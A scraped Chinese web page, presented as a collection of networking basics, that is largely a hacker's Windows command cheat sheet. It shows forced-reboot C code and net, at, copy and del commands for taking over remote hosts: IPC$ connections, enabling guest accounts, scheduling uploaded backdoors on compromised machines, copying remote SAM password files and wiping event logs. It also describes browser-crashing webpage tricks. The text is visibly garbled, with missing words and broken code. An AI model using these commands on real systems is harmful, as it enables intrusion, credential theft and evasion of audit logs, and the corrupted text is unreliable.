網(wǎng)絡(luò)基礎(chǔ)知識(shí)網(wǎng)絡(luò)基本知識(shí)大全網(wǎng)絡(luò)管理員基本知識(shí)網(wǎng)絡(luò)安全基礎(chǔ)計(jì)算機(jī)網(wǎng)絡(luò)基礎(chǔ)知識(shí)局域網(wǎng)基礎(chǔ)知識(shí)(編輯修改稿)
2025-06-18 15:43 本頁(yè)面
【文章內(nèi)容簡(jiǎn)介】 文件 ://定義重啟的時(shí)候發(fā)送給所有用戶的消息 LPSTR msg=‖ Reboot Tool By 。 文件 ://嘗試用最簡(jiǎn)單的 API函數(shù)重啟 if(ExitWindowXXX())return TRUE。 if(ExitWindowXXX(EWX_REBOOT | EWX_FORCE,0))return TRUE。 文件 ://因?yàn)樯厦娴闹貑⒉怀晒?，所以需要調(diào)整本進(jìn)程的特權(quán) HANDLE hToken。 TOKEN_PRIVILEGES tkp。 if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES |TOKEN_QUERY,amp。hToken)) return FALSE。 文件 ://獲取重啟的特權(quán) SE_SHUTDOWN_NAME LookupPrivilegevalues(NULL,SE_SHUTDOWN_NAME,amp。[0].Luid)。 =1。 [0].Attributes=SE_PRIVILEGE_ENABLED。 AdjustTokenPrivileges(hToken,FALSE,amp。tkp,0,(POTKEN_PRIVILEGES)NULL,0)。 文件 ://判斷是 NT內(nèi)核還是 9X內(nèi)核，選擇用不同的方式 if(!GetVersion()amp。 080000000)) InitiateSystemShutdown(NULL,msg,20,TRUE,TRUE)。 else if (!ExitWindowXXX(EWX_REBOOT,0)) if(!ExitWindowXXX(EWX_REBOOT|EWX_FORCE,0)) return FALSE。 return TRUE。 對(duì)了，再次說(shuō)明啊，別用 24）利用批處理文件來(lái)建立一個(gè)記錄 3389登陸者信息的記錄器 由于 Terminal Service 默認(rèn)是沒(méi)有日志記錄的，只能依靠他的系統(tǒng)日志，但是系統(tǒng)日志只能記錄一些大動(dòng)作（開(kāi)啟或停止服務(wù)），那么，如何用批處理文件來(lái)編寫一個(gè)將是 3389端口的程序呢？很簡(jiǎn)單： 建立一個(gè)批處理文件：內(nèi)容如下： @echo off date/t c:\ :TS3389 time/t c:\ stat an | find ―3389″ |find ―ESTABLISHED ‖ c:\ goto :TS3389 之后保存！ 如果有人用你的 3389 登陸你的機(jī)器，呵呵，在 c 盤下就有 這個(gè)文件！記錄了當(dāng)天日志，還有連接時(shí)間 …… 資料～開(kāi)始反擊～呵呵 25）網(wǎng)絡(luò)命令小節(jié) A、 NET命令： IPC連接：格式 use \\對(duì)方 IP\ipc$ ― 密碼 ‖ user:‖ 用戶名 ‖ 『建立 IPC連接～』 use \\對(duì)方 IP\ipc$ /delete start tel 『開(kāi)啟 TELNET』 user guest /active:yes 『激活 GUEST』 user guest coldcrysky 『把 GUEST密碼改為 COLDCRYSKY』 B、 AT 命令： 查看遠(yuǎn)程機(jī)時(shí)間： time \\對(duì)方 IP 加入一項(xiàng)新任務(wù)： at \\對(duì)方 IP 時(shí)間 文件名 『用來(lái)把自己上傳的后門程序在制定時(shí)間運(yùn)行，方便以后進(jìn)入肉雞！』 C、 TELNET命令： tel 對(duì)方 IP 端口 『作用不用我說(shuō)了吧？？？』 D、 FTP命令： 登陸： ftp 對(duì)方網(wǎng)址（ IP 地址） 上傳文件： get 文件在本機(jī)完整路徑 對(duì)方文 件存放完整路徑 下載文件： put 對(duì)方文件完整路徑 本機(jī)存放文件路徑 E、 COPY命令： 在建立連接后（尤其是 IPC$連接后，很有用的命令哦～） ⑴ copy \\\c$\ 『將本機(jī) 的 C盤下，如果要放到對(duì)方的 NT目錄下，則把 C改為 admin$』 ⑵ copy \\\admin\repair\sam_ c: 『將遠(yuǎn)程機(jī)數(shù)據(jù)庫(kù)文件拷貝到本機(jī) C盤根目錄下』 F、 SET命令： 主要用于分析 目標(biāo)計(jì)算機(jī)的基本信息用！具體使用方法請(qǐng)查找相關(guān)文件！ G、NBTSTAT命令： nbtstat A 對(duì)方 IP （這個(gè) A大寫） 『在其中顯示 037前面的英文或數(shù)字就是計(jì)算機(jī)名稱！當(dāng)然，也可以利用 PING A 對(duì)方 ip的方法來(lái)查看對(duì)方主機(jī)名！效果相同?。?！』 H、 SHUTDOWN命令： 『用來(lái)關(guān)閉對(duì)方 NT服務(wù)的命令』格式如下： shutdown \\IP 地址 t:20 『 20 秒后自動(dòng)關(guān)閉對(duì)方 NT 服務(wù)！由于對(duì)對(duì)方機(jī)器影響較大，慎用?。。 ? I、DIR命令： 還用我 說(shuō)么？大家是不是早就該掌握了？？？（不知道的還是查閱相關(guān)資料吧～～～） J、 ECHO命令： echo coldcrysky 『用 coldcrysky覆蓋掉原 容』 echo coldcrysky 『把 coldcrysky加入到 』 K、 ATTRIB命令： 更改文件屬性用，格式： Attrib r 『去掉只讀屬性』（＋ 分別代表增加和減少） L、 DEL命令： 『刪除日 志的時(shí)候用！』 del c:\winnt\system32\logfiles\*.* del c:\winnt\system32\config\*.evt del c:\winnt\system32\dtclog\*.* del c:\winnt\system32\*.log del c:\winnt\system32\*.txt del c:\winnt\*.txt del c:\winnt\*.log M、 PING命令： t ： ping制定 IP，知道網(wǎng)絡(luò)斷開(kāi)或按 CTRL+C結(jié)束！ a ：解釋 PING IP的主機(jī)名 n count ：發(fā)送 count指定的 ECHO數(shù)據(jù)包，默認(rèn)為 4個(gè)！ 26）這里我必須（或者說(shuō)不得不重新重申一個(gè)命令！不過(guò)說(shuō)之前我要把這個(gè)命令的相關(guān)命令稍微介紹一下?。? 我要說(shuō)的命令就是：開(kāi)啟服務(wù)和停止服務(wù)的 start and stop 這兩個(gè)命令大多數(shù)朋友已經(jīng)很熟悉了吧？不過(guò)為了方便更多的菜鳥(niǎo)能看明白我要說(shuō)的意思，不用再看其他相關(guān)文章，所以我簡(jiǎn)單說(shuō)兩句： start是開(kāi)啟服務(wù)！那么，如何開(kāi)啟呢？比如，我們這里要開(kāi)啟 tel 服務(wù)，那就直接 再 2K 的cmd下輸入： start tel就 OK了～關(guān)閉一項(xiàng)服務(wù)的話，把 start換成 stop就OK了～不過(guò)這里必須要注意：你所關(guān)閉的服務(wù)必須是已經(jīng)開(kāi)啟的服務(wù)！??！好像是一句廢話 OK，有了這個(gè)前提后，下面就繼續(xù)介紹：那么， start和 stop到底能開(kāi)啟什么服務(wù)？其實(shí)這點(diǎn)也不需要你強(qiáng)記，記住這個(gè)命令就可以了： help start和 help stop，這兩個(gè)會(huì)顯示出你所能開(kāi)啟的服務(wù)有那些 ~~ 這里比如我們查到了這個(gè)服務(wù) ―CLIENT SERVICE FOR NE TWARE‖ ，那么當(dāng)這個(gè)命令使用 start和 stop的時(shí)候，你必須在這項(xiàng)服務(wù)上面加上 ― ‖ ，原因是因?yàn)檫@個(gè)服務(wù)名稱中帶有空格！如果服務(wù)名稱中不帶空格，你可以不用帶這個(gè)引號(hào)！??！這點(diǎn)是我強(qiáng)調(diào)的問(wèn)題！大家一定不要忘記了！『前些天看到 的黑白新區(qū)中有人說(shuō) start 和 stop后面的服務(wù)名必須帶空格是錯(cuò)誤的！明白原因了吧？』 27）關(guān)于雙系統(tǒng)的兩個(gè)問(wèn)題： A、如何在雙系統(tǒng)（ 9 2021）中安全刪除 2K？ 先制作一張 Windows 98 的啟動(dòng)軟盤， 再用它啟動(dòng)你的計(jì)算機(jī)，運(yùn)行 sys 命令恢復(fù) Windows 98 引導(dǎo)記錄后，再運(yùn)行 fdisk/mbr 恢復(fù)主引導(dǎo)記錄，完成后進(jìn)入Windows 98，把 winnt 和 system volumn information 目錄刪除，再刪掉 C盤上的、 、 ntldr、 、 文件就行了。 B、 Windows 98/XP雙系統(tǒng)啟動(dòng)菜單修復(fù) ，在 BIOS 中設(shè)置從光驅(qū)啟動(dòng)。用 Windows XP 安裝盤啟動(dòng)電腦，在加載必要的驅(qū)動(dòng)后，出 現(xiàn) Windows XP的安裝界面。有三個(gè)選項(xiàng)： （ 1）要現(xiàn)在開(kāi)始安裝 Windows XP，請(qǐng)按 ―Enter ‖ 鍵。 （ 2）要用 ― 恢復(fù)控制臺(tái) ‖ 修復(fù) Windows XP安裝，按 ―R ‖ 鍵。 （ 3）要退出安裝程序，不安裝 Windows XP，按 ―F3 ‖ 鍵； 2. 按 ―R ‖ 鍵，進(jìn)入 ―Microsoft Windows XP (TM) 故障恢復(fù)控制臺(tái) ‖ 界面；故障恢復(fù)控制臺(tái)提供系統(tǒng)修復(fù)和故障恢復(fù)功能。系統(tǒng)這時(shí)會(huì)搜尋已安裝的 Windows XP 系統(tǒng)文件，然后顯示搜尋結(jié)果，并詢問(wèn) ― 要登錄到哪個(gè) Windows XP安裝（ 要取消，請(qǐng)按 Enter） ‖ ，選擇 1. D:\Windows，回車，系統(tǒng)會(huì)再詢問(wèn) ― 管理員密碼 ‖ ，再鍵入安裝 Windows XP時(shí)設(shè)置的管理員密碼，回車，出現(xiàn) D:\Windows〉，這時(shí)需要輸入修復(fù)命令 Fixboot，后面的參數(shù)為啟動(dòng)扇區(qū)要寫入的磁盤盤符，這里填入 C:，回車。修復(fù)完成，鍵入 Exit退出。重啟后就會(huì)看到久違的雙重啟動(dòng)菜單了。并且，這樣修復(fù)后基本不產(chǎn)生垃圾文件。 因?yàn)檫@兩個(gè)問(wèn)題是非常非常普遍的，所以我就收集到這里了～ 28）這里說(shuō)幾個(gè)主頁(yè)惡意代碼：『并不是讓大家把這些代碼加入到自己的主頁(yè)中！只 是希望大家能了解惡意代碼，起到更好的防護(hù)作用！』 A、死循環(huán)代碼： 『把下列代碼加入到網(wǎng)頁(yè)中，可達(dá)到如上效果』 說(shuō)明：當(dāng)含有這段代碼的網(wǎng)頁(yè)被人點(diǎn)擊，連接就會(huì)不斷的打開(kāi) IE 瀏覽器，直到你的系統(tǒng)資源浪費(fèi)到 0％～只有重新啟動(dòng)才能正常使用！ 預(yù)防方法：禁用所有的 ActiveX控件和插件！因?yàn)檫@是一個(gè) ActiveX教本程序～ B、恐怖的大圖片： 『把下列代碼加入到網(wǎng)頁(yè)中，可達(dá)到如上效果』 說(shuō)明：當(dāng)打開(kāi)這樣的網(wǎng)頁(yè)， IE 會(huì)不斷的解釋試圖打開(kāi)，但由于圖片實(shí)在太大，超出了其處理能力，所以 …… C、 地震死機(jī)代碼： 『把下列代碼加入到網(wǎng)頁(yè)中，可達(dá)到如上效果』 說(shuō)明：是 windows9x的設(shè)備名稱解析
環(huán)評(píng)公示相關(guān)推薦
鄂ICP備17016276號(hào)-1